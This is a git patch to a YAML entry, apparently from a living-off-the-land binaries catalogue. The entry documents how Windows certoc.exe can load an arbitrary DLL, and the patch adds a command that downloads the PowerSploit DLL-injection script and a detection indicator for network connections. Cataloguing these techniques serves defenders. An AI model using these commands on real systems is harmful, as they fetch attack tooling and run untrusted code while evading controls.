From 97f5042a586880b13be9b3c097d9271fe798b85d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ensar=20=C5=9Eamil?= <ensarsamilbese@gmail.com>
Date: Wed, 27 Oct 2021 12:02:52 +0300
Subject: [PATCH] Update Certoc.yml (#168)

Co-authored-by: Wietze <wietze@users.noreply.github.com>
---
 yml/OSBinaries/Certoc.yml | 16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

diff --git a/yml/OSBinaries/Certoc.yml b/yml/OSBinaries/Certoc.yml
index 54e5fd1..94bc2e4 100644
--- a/yml/OSBinaries/Certoc.yml
+++ b/yml/OSBinaries/Certoc.yml
@@ -2,7 +2,7 @@
 Name: CertOC.exe
 Description: Used for installing certificates
 Author: 'Ensar Samil'
-Created: '2021-10-07'
+Created: 2021-10-07
 Commands:
   - Command: certoc.exe -LoadDLL "C:\test\calc.dll"
     Description: Loads the target DLL file
@@ -10,8 +10,16 @@ Commands:
     Category: Execute
     Privileges: User
     MitreID: T1218
-    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
-    OperatingSystem: Windows Server 2022 
+    MitreLink: https://attack.mitre.org/techniques/T1218/
+    OperatingSystem: Windows Server 2022
+  - Command: certoc.exe -GetCACAPS https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1
+    Description: Downloads text formatted files
+    Usecase: Download scripts, webshells etc.
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/techniques/T1105/
+    OperatingSystem: Windows Server 2022  
 Full_Path:
   - Path: c:\windows\system32\certoc.exe
   - Path: c:\windows\syswow64\certoc.exe
@@ -20,8 +28,10 @@ Code_Sample:
 Detection: 
   - IOC: Process creation with given parameter
   - IOC: Unsigned DLL load via certoc.exe
+  - IOC: Network connection via certoc.exe
 Resources:
   - Link: https://twitter.com/sblmsrsn/status/1445758411803480072?s=20
+  - Link: https://twitter.com/sblmsrsn/status/1452941226198671363?s=20
 Acknowledgement:
   - Person: Ensar Samil
     Handle: '@sblmsrsn'